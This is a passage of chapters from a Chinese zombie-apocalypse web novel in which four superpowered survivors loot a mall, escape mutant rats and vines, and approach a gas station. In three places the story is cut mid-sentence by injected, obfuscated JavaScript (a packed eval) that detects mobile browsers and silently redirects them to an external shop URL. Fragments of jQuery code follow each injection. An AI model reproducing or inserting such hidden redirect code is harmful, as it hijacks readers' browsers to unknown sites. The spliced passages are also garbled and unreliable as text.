孟洝捏着那颗微凉的巧克力,愣了一下,看向陈行泽紧绷的侧脸。后者什么也没说,只是拉着他继续往上走,脚步踏在楼梯上的声音,在空旷的楼里显得格外清晰。
他们在三楼找了间相对干净的房间,填饱了肚子,用热水简单洗漱了一下。
“别多想,睡吧。”陈行泽揉了揉孟洝还有些潮湿的发顶,语气是少见的、全然的温和,“明天找辆车,去你家看看。”
“那个神经病……”少年声音闷闷的,仍带着未消的困惑与余悸。
“不用理。”陈行泽靠进窗边一把看起来价格不菲的电竞椅里,把椅背调到最低,几乎半躺下去——这房间的原主人大概是个游戏迷。“估计这里,”他抬手指了指太阳穴,“有点问题。”
孟洝嘴角很轻地翘了一下,顺手摸进校服口袋里,指尖触到块冰凉光滑的屏幕。他掏出来习惯性地按了下电源键,屏幕一片漆黑,毫无反应。
“啊,没电了。”他低声道,声音里有一丝丝沮丧。醒来后他们就确认过,信号消失,网络也断了,这手机除了看看时间和相册,连砖头都不如。
“给我。”
孟洝把手机递过去。陈行泽接住,右手抬起,食指与拇指轻轻一捻。
滋…噼啪。
一点细如发丝的蓝白色电光在他指尖凝成。他将那点电光的尖端,精准地对准了手机底部的充电接口。
几不可闻的“滋滋”声响起,手机屏幕骤然亮起,显示充电的标志跳了出来,电量百分比开始缓慢爬升。
孟洝:“!!!”
他盯着那缕细细的电光,再看看亮起的屏幕,眼睛不自觉地睁圆了一点,又在陈行泽看过来之前飞快地一眨,长睫轻颤。
他清了清嗓子,试图把语气压回一贯的平淡无波,但开口时,尾音还是往上扬了扬:“厉害啊学长……人形自走充电宝?”
陈行泽看着他,眉梢微挑,脸上那点似笑非笑的神情加深了些。
他没接话,把充好电的手机抛回去。
“省着点用。”
孟洝接住还有些微热的手机,指尖摩挲着光滑的屏幕,默默在心里给靠谱的学长点了个赞。
室内沉默了片刻,隐隐传来丧尸低哑的嘶吼,被厚重的玻璃隔成模糊遥远的背景音。
孟洝抬起头,看向电竞椅里姿态放松却难掩疲惫的学长,声音在寂静中显得很轻:
“学长,你说……我也会有异能吗?”
陈行泽没有立刻回答。他转过头,目光在昏暗里准确地对上孟洝的眼睛。
窗外是末世后永恒的铁锈色夜空,星光早已熄灭,只余一片沉滞的灰。但他的语气却异常清晰、笃定,笃定到让孟洝有些困惑。
“会的。”他说,每个字都落得很稳,“你的异能,会非常、非常厉害。”
厉害到……足以刺破这灰色的长夜,在腐烂的土壤里,种下新的可能。这句话在他舌尖转了一圈,最终没有说出口。
“睡吧。”陈行泽收回目光,重新靠回椅背,阖上眼,“晚安。”
“……晚安。”
孟洝把重新有了温度的手机塞回枕头下,躺了下来。他盯着漆黑的天花板,脑子里一会儿是乱闪的电光,一会儿是那句“非常厉害”。他悄悄翻了个身,面朝墙壁。
黑暗里,嘴角偷偷往上翘了一点。
——非常厉害啊……
房间里只剩下两道清浅的呼吸声,在无边无际的黑暗与寂静中,轻轻荡开。
-
晨光——如果那透过灰色云层、稀薄而惨淡的天光也能被称为晨光的话——如期而至。
他们最终在教职工停车场角落找到一辆落满灰尘的黑色SUV。车钥匙插在锁孔里,油箱还剩大半,仿佛是末世之中某种沉默的馈赠。
车子驶出校园,开上主干道。昔日的繁华街道如今像一条被抽干生命的血管,废弃的车辆歪斜着堵在路上,破碎的橱窗后是黑洞洞的未知。偶尔有蹒跚的影子在远处游荡,听到引擎声便迟缓地转头。
他们不得不放慢速度,在车辆的残骸间迂回穿行。遇到挡路的丧尸,陈行泽便面不改色地压过去。沉闷的撞击声和令人不适的颠簸,很快变成了麻木的背景音。
开出不到两个路口,陈行泽瞥了眼后视镜,嗤笑一声:“阴魂不散。”
孟洝回头,果不其然看见那张熟悉的脸。
隔着几十米的距离,一辆银灰色的轿车不紧不慢地跟在后面。驾驶座上,谢三望一只手搭在方向盘上,另一只手甚至抬起来,远远地、愉快地朝他们挥了挥。晨光落在他过于苍白的脸上,映得那笑容格外清晰,也格外刺眼。
他甚至还有心情按了下喇叭,短促的一声“滴”,在空旷的街道上回荡,带着十足的挑衅和玩味。
陈行泽没加速甩开他。在这种环境下,多一个实力强悍的“盟友”(哪怕是个神经病)分担前方的未知风险,未必是坏事。
就在他们驶近一个交叉路口,准备拐上去往城西的主路时,前方的障碍物陡然增多——几辆连环相撞的汽车彻底堵死了去路。更糟糕的是,引擎声和之前的撞击声似乎惊动了附近的“居民”。
嗬……嗬……
低哑的嘶吼从四面八方响起。从倾覆的公交车后,从街角的便利店破门内,甚至从二楼破碎的窗户中,一个个扭曲的身影钻了出来,迅速汇聚,形成了一小股尸潮,朝着两辆车的方向围拢过来。
“啧。”陈行泽踩下刹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540238|203919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
车,SUV在散落着碎玻璃的路面上滑行了一小段后停稳。他摇下车窗,指尖的电光开始无声窜动。几乎是同时,后面那辆车也停了,谢三望手中不知何时已多了几枚闪着寒光的飞刀。
就在两人准备迎击,尸群前锋已嘶吼着扑近的瞬间——
一道清越的剑鸣,仿佛玉石相击,骤然划破了浑浊的空气。
冲在最前面的几只丧尸头颅毫无征兆地飞起,切口平滑如镜,暗红的液体泼洒一地。
一个身影如同鬼魅般出现在SUV车头前方。
那是个年轻女子,看起来不过二十出头,身姿挺拔如松竹。她穿着一身利落的黑色运动服,长发在脑后高高束成马尾,露出一张精致却冰冷如雪的脸。眉眼如画,却浸透着拒人千里的寒意,看人时目光淡漠,仿佛眼前不是狰狞的丧尸,而是无关紧要的尘埃。
她手中握着一柄古朴的长剑,剑身细长,隐有流光,不沾半点污秽。刚才那凌厉无匹的斩击,显然出自她手。
女子的目光淡淡扫过逼近的尸群,扫过车外神色各异的陈行泽和谢三望,最后,透过前挡风玻璃,落在了副驾驶座上孟洝的脸上。
那一刹那,她眼中万年不化的冰霜,似乎极其细微地波动了一下。
她没有停顿,手腕轻振,长剑化作一片冰冷的寒光。
陈行泽的雷电适时炸开,谢三望的飞刀精准地没入眼眶。三人虽未交流,却奇异地形成了短暂的配合,硬生生在围拢的尸群中撕开了一道缺口。
清理出足够车子通过的空间后,她收剑而立,剑尖斜指地面。然后,她径直走向SUV,拉开后座车门,干脆利落地坐了进来。
“走。”
声音如其人般清冷,不容置疑。
车内顿时漫开一股极淡的、如同冰雪初融般的清冽气息,与她周身那生人勿近的冰冷气场奇异地糅在一起。
陈行泽从后视镜里审视地看了她一眼,果断挂挡,方向盘一打,SUV碾过丧尸残骸,从清出的缺口疾驰而出。
谢三望吹了声口哨,银灰色轿车紧随其后,甩开了再度试图合拢的尸群。
车厢内陷入了短暂的沉默,只有引擎的嗡鸣和窗外飞速倒退的荒凉街景。
“我的名字是石韫玉。”后座的年轻女子忽然开口,音色泠泠,打破了寂静,“接下来,我跟你们一起。”
陈行泽这才慢悠悠开口,狐狸眼里漾着点漫不经心的光,尾音拖得有点长:“哦?凭什么——”
“凭我能打,”石韫玉面无表情,“还有空间。”
话音未落,她素白的手掌一翻,一箱未开封的矿泉水凭空出现在她膝上,又瞬间消失。紧接着,一把包装鲜艳的水果硬糖递到了坐在副驾驶的孟洝的手边。
孟洝下意识接住,掌心传来糖果冰凉的触感,漂亮的糖纸在昏暗的车内闪着微光。他低头看了看糖,又抬头透过后视镜看向石韫玉那张没什么表情的脸,平静的眸子里满是茫然。
这个人……好理直气壮,而且无法反驳!
石韫玉顿了顿,又冷冰冰地补充了一句,目光扫过窗外那辆紧随其后的银灰色轿车:
“我也可以处理后面那个恶心的家伙,如果你们需要的话。”
她的语气就像在说“我可以帮你们扔垃圾”。
陈行泽又看了她一眼,目光在她那张冰雪般的脸上停留片刻,最后懒洋洋地“嗯”了一声。
“行啊,”他说,语气里带着点漫不经心,“那就……欢迎入队,石同学。”
SUV的速度没有丝毫减慢,朝着城西的方向,驶入铁锈色天空下更深沉的灰暗之中。
后视镜里,银灰色轿车如影随形。
而前方道路两侧的阴影里,更多不可知的东西,正在缓缓苏醒。
7. 黑潮突围
SUV在荒芜的街道上行驶,轮胎碾过碎玻璃和瓦砾的声音单调而持续。孟洝将水果糖顶到腮帮子一侧,甜味在舌尖缓慢化开。
“学长,前面500米左右有一家小型商场,我们要不要进去补给一下?”孟洝的声音响起,打破了车里的沉寂。
“我没意见,”石韫玉淡淡开口,“我的空间还能装很多东西。”
陈行泽瞥了眼油表,又望向前方那栋被灰绿色藤蔓覆盖的建筑,“可以,速战速决。”
车子停在了商场门口布满裂纹的广场上。昔日热闹的商业中心如今死寂一片,巨大的玻璃幕墙多处破碎,黑洞洞的入口像张开嘴的深渊。
后面那辆银灰轿车几乎同时停稳,谢三望推门下车,笑吟吟地凑过来:“逛商场啊?带我一个呗~”
说话间手指已经戳向孟洝背包上那只傻笑的猫脸,又在陈行泽指间电光亮起的瞬间轻巧后撤半步。
陈行泽掀起眼皮,倦怠地看了他一眼,忽然笑了一下:“行啊,你走前面。”
“居然让我探路吗?”谢三望拖长语调,语气里的委屈栩栩如生,目光掠过商场入口那些过于安静的阴影,“好吧好吧,谁让我是后来的——”
他率先走向旋转门,身影没入黑暗前,回头朝孟洝眨了眨眼。
孟洝:“……”
陈行泽示意孟洝跟上,自己断后。石韫玉无声地走在孟洝身侧,左手始终按在剑柄上。
门内是大片空旷的中庭。天井投下的稀薄光线勉强勾勒出倒伏的导览台和散落的广告立牌。
空气里有种陈腐的甜腻味和淡淡的潮湿气息。
一路往前走,遇上的都是零星的丧尸,很轻易就消灭了。
他们沿着自动扶梯往下,准备先去地下一层的超市。扶梯早就停了,上面散落着各种杂物。
就在谢三望迈下最后一级台阶,脚尖刚触到地面的瞬间——
一个拳头大的火球从右侧货架区猛然袭来!
谢三望随意地侧了侧身,火球擦着他发尾飞过,撞在身后的混凝土柱上,炸开一小片焦黑的痕迹。
“啊啦。”他语调轻快,“看来这儿已经有主了?”
脚步声从货架深处传来。
一个面容普通的中年男人率先走出,穿着沾满污渍的工装夹克,手里握着根缠着铁丝的球棒。
他身后跟着个瘦小的少年,看起来不过十三四岁,套着件宽大的黑色连帽衫。少年右手掌心上方,一枚新的火球缓缓凝聚成形,橙红光芒映亮了他阴冷的脸。
中年男人挡在少年身前,目光扫过四人:“这里我们占了,你们换地方。”
陈行泽这才慢悠悠抬起眼,视线在那少年掌心的火球上停了半秒,又落回中年男人脸上。他没说话,只是指尖随意一捻——
一簇蓝白色电光在他指间绽开,噼啪作响。
空气骤然绷紧。
“你们确定要跟这位打吗~”谢三望挂起一个毫无阴霾的笑,“他可凶了,我都被他欺负得好惨的。”
他这话说得真诚无比,仿佛真心实意替对方考虑。
中年男人额角青筋跳了跳。他侧头看了眼身后——少年的呼吸已有些不稳,额角渗出细汗。
“……好。”中年男人咬着牙,从牙缝里挤出一个字,“你们可以进去,只有十分钟。仓库里的东西不能动。”
“成交。”陈行泽干脆利落地收回手,电光在空气中留下一道淡蓝色的残影,随即消散。
超市内部比预想中更混乱。货架倾倒大半,包装食品散落一地,有些已经腐败,散发着异味。照明全靠几盏幸存的应急灯,光线昏沉沉的,把人和物的影子都拉得很长。
谢三望不知何时贴到中年男人身侧。
像一道影子从货架间游过来,悄无声息地落进对方余光边缘。近到中年男人一侧脸,就能看见他瞳仁里那点兴致盎然的亮光——澄澈,专注。
“你们在这儿待了几天了呀?”
中年男人猛地退后半步,球棒横在身前。
“哎呀。”谢三望眨眨眼,尾音轻飘飘地坠下去,像被这一退扫了兴,无趣地撇了撇嘴。
“我就是好奇……你们待了这么久,难道没发现,这个商场里,有些地方‘太安静’了吗?”
他咬字很清晰,说得又轻又慢,像一根细针,悄无声息地扎进空气里。
中年男人的脸色变了。
陈行泽已经走到货架尽头。他脚下微微一顿,隔着倾倒的货架和昏沉的光线侧过头。
谢三望恰好也在看他。
视线相接的刹那,谢三望冲他扬起一个大大的笑脸——眼尾弯起来,那张漂亮得过分的脸在这一刻显得无比生动,像个恶作剧得逞后心满意足的孩童。
然后低下头,不知从哪儿摸出一块巧克力,专心致志地撕边缘的锡纸。
他哼着不成调的曲子,溜溜达达朝孟洝的方向晃过去,仿佛刚才那句话只是随口一提。
-
石韫玉在食品区缓步走过,素手轻拂——成箱的午餐肉罐头、整袋未拆封的真空大米、摞成小山的压缩饼干,便成片成片地悄无声息消失。她甚至顺走了货架底层两箱矿泉水,动作行云流水。
孟洝在生活用品区蹲下身,目光快速扫过满地狼藉。
肥皂、纱布、牙刷……他将这些零碎东西一一塞进背包。
然后他看见了手电筒。
滚落在货架角落里,他捡起一支试了试,又摸到两排备用电池,一并塞进背包。
多功能工具钳,他掂了掂,放进校服口袋里。
他又从倾倒的货架缝隙里扒拉出一个小小的指南针,指针晃了晃,稳稳指向某个方向。
——他好像体会到那种传说中那种采购的快乐了。
不远处,谢三望正把一副造型夸张的墨镜架在鼻梁上,对着货架上一块破碎的镜面残片左照右照,嘴角满意地翘起。他脚边还扔着几盒没拆封的扑克牌、一把多功能军刀、几包湿巾。
孟洝瞥见他这副模样,嘴角不自觉地抽动了两下,扭头继续翻找有用的东西。
他的目光扫过货架深处——那里堆满了倒塌的货箱和散落的商品,阴影浓重得化不开。他伸手够到一瓶包装完好的酒精,塞进背包里。
在他走后,角落里那片阴影极其轻微地晃动了一下,似乎有东西极快地缩了回去。
……
“学长,时间差不多了。”
十分钟很快过去,孟洝拎着背包走到陈行泽身旁。
石韫玉安静地站在一侧,目光放空,像在神游天外。谢三望已经优哉游哉踏上了扶梯,还回头朝他们挥了挥手。
中年男人守在原地。角落里,刚刚那个玩火的少年支着一条腿坐在地上,手里拨弄着一个打火机,身边是个方才没出现的年轻女孩,面色苍白,沉默地坐着。
陈行泽松松垮垮地倚着墙,慢吞吞掀起眼皮,朝那中年男人的方向撩了一眼。
“……劝你们一句。”他开口,依旧是那副懒洋洋的调子,“换个地儿,这里不太对劲。”
中年男人脸色一变,嘴唇动了动,似乎想说什么。但陈行泽已经收回视线,两三步跟上了前面几人。
-
一行人从地下一层回到一楼。陈行泽忽然停下脚步,目光扫过不远处几家运动品牌专卖店破碎的橱窗。
“等一下。”他说,“换身衣服。”
孟洝低头看了眼自己——校服上沾满了灰尘,裤腿不知什么时候被划开一道口子,露出一点白得晃眼的皮肤。
……好像流浪汉。
他没说话,径直拐进一家运动品牌店,身体力行地表达了对陈行泽这个提议的支持。
孟洝的视线扫过乱七八糟的店面,他换上一件黑色的加绒冲锋衣,搭一条重工风格的同色系裤子,垂着眼整理袖口,侧脸轮廓干净利落,身形挺拔,像一把锋芒毕露的刀。
“好帅啊,小孟同学。”
一双黑色的作战靴停在视野边缘。
陈行泽不知何时靠在不远处的门框上,宽大的风衣下摆垂落,袖口挽到小臂,露出一截匀称流畅的腕骨。黑色作战手套包裹着修长的手指,他正漫不经心地调整手套边缘,目光在孟洝身上上下下转了一圈,眼神懒散又欠揍。
孟洝:“……”
陈行泽轻轻笑了一声,从旁边上拎起一副同款手套,随手抛给他。
石韫玉从另一家店里出来,依旧是那身黑色运动服,只是外套换了件更厚实的,长发高高束着,发尾在空气中划出利落的弧度。她手里多了一卷不知从哪顺来的登山绳,下一秒凭空消失。
谢三望最慢。
他从一家潮牌店里晃晃悠悠地出来,原本的白衬衫不见了,换上一件宽松的亮橙色冲锋衣,背后印着巨大的字母印花。头上还扣了顶同色系的棒球帽,帽檐压得低低的,只露出一小截苍白的下巴。
很雷霆的配色,但在他身上却意外地好看,像什么时尚杂志的内页。
——果然时尚的完成度靠脸。孟洝目光游离一瞬,默默腹诽。
“好看吗?”谢三望转了个圈,眨巴眨巴眼睛,帽檐下的笑容灿烂晃眼。
几人自顾自地绕过他往前走。
“再找点武器吧。”
“嗯。”
谢三望还站在原地,保持着转圈结束的姿势,脸上带着浮夸的失落,像个无人问津的三流演员。
然后他低低地笑了起来。
过长的发尾滑到肩膀上,微微抖动。
……
户外用品区一片狼藉。地面有大片暗红色的血迹,拖曳状的痕迹一路延伸,几具明显属于人类的尸体倒在货架之间。孟洝沉默地从旁边绕过去,末世才短短几天,秩序坍塌得远比想象中的快。
展示架的底部压着个落满灰的纸盒,被人踩扁了一角。
他拖出来打开,里面是一个崭新的全钢黑色伸缩甩棍,手柄防滑纹路清晰,棍身甩开时“咔哒”一声脆响。他试着在空气中挥了两下,破风声短促利落。
不远处,石韫玉蹲在一堆露营设备前,后腰别着一把战术刀,面前摆着几个看起来能用的便携炉头。
谢三望手里把玩着一枚泛着冷光的飞镖,随手一扬——“笃”的一声,正中二十米外一根立柱上的靶心。他弯起眼睛,又从货架上顺走一整盒。
“行了?”陈行泽拎着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540239|203919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一把轻便的工兵铲走过来,扫视一圈,“再上二楼看一眼,然后走。”
-
二楼相对一楼更显凌乱,品牌店的橱窗碎裂,衣物散落一地。他们快速搜刮了一些合身的备用衣物,以及几床裹在塑料膜里、还算干净的被子。石韫玉经过一家被洗劫过半的药店时,脚步稍顿,目光扫过货架,下一刻,那些散落的药品连同几个未开封的急救箱便齐齐消失。
刚踏上一楼的地面,还没走出几步——
轰隆!
一声闷响,伴随着某种东西大规模塌陷的、令人牙酸的碎裂声,猛地从脚下传来!
陈行泽的眼神瞬间冷了下来,“走!”
几人再无暇顾及发出的声响,朝着旋转门的方向拔腿狂奔!
吱吱——吱吱吱——!
令人头皮发麻的尖锐叫声如潮水般从身后涌来,盖过了他们奔跑的脚步声。
孟洝忍不住扭头瞥了一眼,浑身血液都几乎凝固:黑压压一片,每只都比拳头还大的黑影,正从各个楼梯口、通风管、甚至地砖裂缝中疯狂涌出!
它们眼睛泛着诡异的红光,皮毛沾满污秽,以惊人的速度汇成一股令人窒息的黑色浪潮,紧追不舍。
“这他妈是老鼠??!”孟洝震惊地吼了一句,几乎将速度提到了极限。
“哎呀,真是热情的小可爱们~”谢三望居然还在笑,但他逃跑的动作没有丝毫拖沓,手中不知何时已扣住几把寒光闪闪的飞刀。
就连一贯冰冷的石韫玉,也忍不住低骂一声,手中长剑“铮”然出鞘,清冷的剑光在身侧织出一片短暂的屏障,将最先扑近的几只变异鼠绞碎。
陈行泽跑在侧后方,头也不回地甩出数道细密的电弧。噼啪炸响中,一片片巨鼠痉挛着倒地,但更多的立刻填补了空缺,仿佛无穷无尽。
“等等,前面——!”孟洝望向几十米外的出口,心猛地一沉。
只见商场出口的旋转门和大片玻璃幕墙处,不知何时已被无数手腕粗细、带着暗绿斑点的藤蔓层层缠绕,那些藤蔓仿佛有生命般缓缓蠕动。
就在这时,旁边一个拐角突然冲出三个人影——正是之前地下超市的中年男人和少年,以及旁边满脸泪痕、神色惊慌的年轻女孩。中年男人看到门口的藤蔓,脸上血色尽失。
“让开!”
那少年咬了咬牙,眼中闪过狠色,双手猛地向前一推。数个比之前猛烈数倍的火球呼啸而出,狠狠撞在藤蔓交织的中心!
火焰爆裂开来,迅速在干燥的藤蔓上蔓延。藤蔓遇火剧烈收缩扭动,竟真的被烧出一个焦黑的缺口!
“快!”中年男人大吼一声,护着女孩率先朝缺口冲去。
几人紧随其后。越靠近烧穿的洞口,残存的藤蔓仿佛被激怒般,猛地弹射出数根,如同灵活的触手,凶狠地卷向最靠近的几人!
一根藤蔓如毒蛇般窜出,“嗖”地缠住了孟洝的手腕,冰冷滑腻的触感让他一个激灵。
然而,还没等孟洝作出反应,藤蔓尖端就像被瞬间抽干了生机,以一种肉眼可见的速度迅速灰败、干枯,化为几截脆弱的焦炭,“咔吧”一声断裂落地。
整个过程快得只有半秒。
孟洝怔了一下,来不及细想,继续向前狂奔。
少年仍在拼命丢出火球,汗珠从他惨白的脸滚落,呼吸声越来越重。
一行人终于狼狈不堪地冲出商场大门。然而,身后潮水般涌出的变异鼠潮和狂舞的藤蔓穷追不舍;前方广场上,原本零散游荡的丧尸已被巨大的动静吸引,正从四面缓缓汇聚过来,发出低哑的嘶吼。
谢三望冲在最前,几道寒光闪过,两辆车周围刚靠近的几只丧尸便颓然倒地。他拉开车门,率先钻进了自己的银灰色轿车。
超市出来的三人组踉跄着冲向广场另一侧一辆布满灰尘的小面包车。
石韫玉如一道黑色疾风掠向SUV,拉开车门,引擎几乎在她坐下的瞬间轰鸣响起。车身一个利落的甩尾,恰好滑到孟洝身旁。
“上车!”
孟洝扒住车门,一跃而入。
陈行泽守在最后,微微侧首。眼睫低垂的刹那,他周身骤然迸发出万千流窜的蓝白色电弧,细密的“噼啪”声连成一片锐利的嘶鸣。
下一秒,他毫无预兆地单膝触地,右手裹满暴烈的电流,朝着冰冷的地面重重一按——
轰!!!
以他掌心为起点,一张狂暴炽烈的电网悍然铺开,刺目的雷光在地面上急速蔓延、窜起,冲在最前的鼠群和藤蔓在肆虐的电光中剧烈抽搐,顷刻间化为焦炭。后方汹涌的鼠潮被这毁灭性的威势所慑,攻势为之一滞。
就在这短暂的间隙,SUV已精准地蹿至陈行泽面前。后座车门猛地推开,孟洝伸出手。
“学长!”
陈行泽一把抓住,借力跃入车内,车门“砰”地关上,一根尖锐如矛的藤蔓紧随而至,狠狠砸在车门金属板上,险之又险地被挡住。
引擎轰鸣,轮胎摩擦地面发出刺耳声响,SUV如同离弦之箭,朝着街道尽头冲去。
银灰色轿车紧随其后,而那辆破旧的面包车,也歪歪扭扭地跟了上来,汇入这末日逃亡的车流。
8. 中场休整
后方那辆载着超市三人组的小车,在经过一处路口迟疑地停顿了片刻,最终朝着另一个方向驶去,消失在了灰暗的街景中。
孟洝瘫在后座上,剧烈的心跳还没完全平复。他低头看向手腕内侧,刚刚被藤蔓缠住的那一小片皮肤完好无损,连个红印都没留下。
当时……
狰狞黏腻的藤蔓以惊人的速度袭来,啪地缠住了孟洝的右手腕,倒刺将将扎破袖口。
一圈极淡的金色光晕突兀闪过。藤蔓甚至没来得及发出一声呜咽,就咔咔化作几截黑灰散落。
其他人看到了吗?
他屏住呼吸,余光飞快地扫过身侧。
陈行泽正靠在车窗边,长睫垂落,脸色有些苍白。额前的黑发被汗濡湿了些许,贴在皮肤上,向来游刃有余的脸上难得显出一丝疲惫的脆弱感。
孟洝又不经意将视线移向前方。
石韫玉正全神贯注地开着车,时不时碾过什么东西,发出一阵令人牙酸的闷响,侧脸线条在飞速掠过的昏暗光影中越发冰冷。
“看什么?”陈行泽依旧闭着眼,嗓音微哑。
“啊,我……”孟洝虚虚咽了下口水。
“哦,”陈行泽掀开眼皮,带着点蔫坏的劲儿,“忘了咱们家小孟同学还在生长期。怎么,肚肚打雷了?”
孟洝面无表情地转开脸,并向这可恶的家伙点了个踩。
石韫玉淡然的声音飘过来:“一会儿要不要找个加油站修整一下?”
难道姐你也饿了?!
“顺便存点汽油。”石韫玉补充道,正气凛然。
孟洝继续瘫着脸,哈哈。
陈行泽直起身,活动了一下修长的手指,狭长的眼里带着倦色,但很清明,“那神经病还跟着?”
孟洝往后看了一眼。
那辆银白色的车依旧亲亲热热地黏在后方不远处,像块甩不掉的牛皮糖。
“昂。”
陈行泽淡淡地笑了一下。不知为何孟洝莫名看出了一股有人要倒大霉的风雨欲来感。他默默为后座那个神经病祈祷一番。
“阿秋!”
银白色轿车里,谢三望正摇头晃脑地哼着一首魔性曲调,单手扶着方向盘,那副夸张的墨镜还架在脸上。
他莫名其妙打了个喷嚏,随即美滋滋地想,肯定是可爱的孟洝小朋友在挂念他。
“找个加油站吃午饭吧,免得有人控诉我虐待未成年。”
“喂!”
-
西郊加油站。
一名身穿破烂工作服的男性正‘热情’地拦在一位女士面前,发出激动的声音,似乎在极力推销某种石油产品。女士略显害羞地低下头,大波浪卷发垂下,遮住了她的容颜。
直到这位尽职的工作人员越靠越近,终于突破了社交安全距离,女士猛地抬头,露出青白的脸,“吼——!!”
推销员不甘示弱:“吼吼!”
女士勃然大怒:“吼吼吼!!!”
最终他俩似乎吵累了,怒气冲冲各奔东西。
一公里外,陈行泽叼着根能量棒,看得津津有味,时不时发出“啧啧”的点评声。
孟洝蹲在他后面的草丛里,一头黑线地盯着这位传说中的淮南一中优秀毕业生。
石韫玉冷冰冰地抱着长剑靠在SUV上,目光游离,看样子又在走神。
而谢三望正蹲在地上,拔了根草逗弄几只变异后有乒乓球大小的蚂蚁。他把巧克力碎块强行压到蚂蚁背上,脸上挂着饶有兴致的笑意。
这些蚂蚁变异后只长个头不涨武力,挥舞着触角怒视这个状似有大病的男人。
三分钟前,几人抵达了这里。加油站附近荒无人烟,只有里面一群狂魔乱舞的丧尸,陈行泽提议先观察观察情况。
于是乎……
孟洝捂着脸蹲在那,深深地吸了一口气,这都是一群什么人啊!
靠谱的高中生挺身而出,他用力戳了戳陈行泽,发出重重的咳嗽声。
陈行泽回过头,顿了半秒,恍然大悟般开口:“你也要吃?”
“不吃。”
……
“咳,”陈行泽用力清了清嗓子,切入正题,“里面物资应该都在,但是丧尸太密集了。”
“谢三望。”
“嗯?”漂亮的青年不知何时已站在旁边,闻言微微歪头。
陈行泽平日里总是懒散而放松,然而那点惯常的散漫收敛得干干净净时,锋利的眉眼在弥散的风声中极具压迫感。
“为什么一直跟着?你不会觉得我们是队友吧?”
“欸?我以为我们已经是好朋友了呢,泽泽。”谢三望拉长了调子,视线扫过三人,语气无辜,“还有孟洝小朋友和这位冷冰冰的小姐,你们都很有意思,比我一个人好玩多了。”
陈行泽额角青筋跳了跳,看表情似乎骂得很脏。
谢三望伸出两根手指晃了晃,一枚寒芒闪烁的飞刀凭空出现,“我是空间系哦,能打能装,很好用的。”
“空间系。”陈行泽重复了一遍,带着微微的嘲弄,“刚才在商场怎么不用?”
谢三望脸上的笑容分毫不差,像是一张焊死在脸上的瓷面具,精美而生动。
“只能装破烂的空间系?”
孟洝默默往旁边挪了半步,视线在两人之间来回横跳。石韫玉漠然地望着这一切,指尖轻轻按住剑柄。
“泽泽,你说话可真令人伤心。”谢三望嗓音含着笑,眼底却有什么冰冷黏稠的东西瞬间沉了下去。
“那你证明一下啊。”陈行泽轻嗤一声,朝加油站扬了扬下巴,“不然就带着你的破烂滚远点。”
空气里裹着沉重的死气和弥漫的尘土,远处是丧尸的嗬嗬低吼,风吹过废墟般的城市上空,杂乱生长的草木轻轻晃动。
在一片紧绷的沉默中,谢三望清冽的声音突兀响起:
“好啊,既然你都这么要求了。”
他笑意盈盈地向前走去,视线漫不经心地滑过众人,落在孟洝身上时,那双金棕色的眼睛微微眯起,似乎顿了几秒。
他在看我?
孟洝心头一跳,冷下脸警惕地回视,身后的兜帽突然传来窸窸窣窣的轻响。
一只骨节分明的手越过他的肩膀,在兜帽里掏啊掏,随后摸出一根不知何时被塞进去的能量棒。
孟洝僵硬地回头:“?”
陈行泽面不改色地迎着某人嗖嗖放出冷箭的视线,拆开包装叼进嘴里,目光沉沉地盯着闲庭信步的青年。
果然这家伙再看一万
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540240|203919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次也还是很欠揍,他眯起眼。
-
三人站在远处的荒草丛中。
谢三望停在加油站前,转过身,灿烂地挥了挥手。
大概是让我们认真看——?孟洝努力分辨口型,试图还原他的话。
末世降临后,幸存者的身体素质得到了不小的提升,至少孟洝能毫不费力地看清谢三望衣服上不知何时挂上的一只粉红色HelloKitty,随着动作一晃一晃,透着股诡异的可爱。
“我——要——开——始——了——”
“站——远——点——”
“他是这样说的。”石韫玉神色淡淡地充当实时翻译。
孟洝肃然起敬。
下一秒,石韫玉指间一张黄符无风自燃,化作飞灰。
孟洝咔吧咔吧将头扭回原位,脸上波澜不惊。
末世嘛,这种事很正常吧……才怪!
姐姐我们这里是末世片场不是修仙片场啊!
陈行泽敏锐地察觉到什么,懒懒朝旁边斜了一眼。
孟洝:冷漠.jpg
不对劲——
好像有什么东西——
孟洝浑身一个激灵,下意识望向了加油站,准确来说,是谢三望所站的位置。
陈行泽嚼着能量棒的动作忽然停住。他脊背无声地绷紧,眼神冷凝,手插进衣兜里,捏住了某样东西。
空气里某种波动悄无声息改变。异能在发动的一瞬间,会有独特的能量波动,越是强大的异能波动越大。
一股堪称残暴的力量以青年为起点轰然散开,加油站四周的空间无声地震颤。
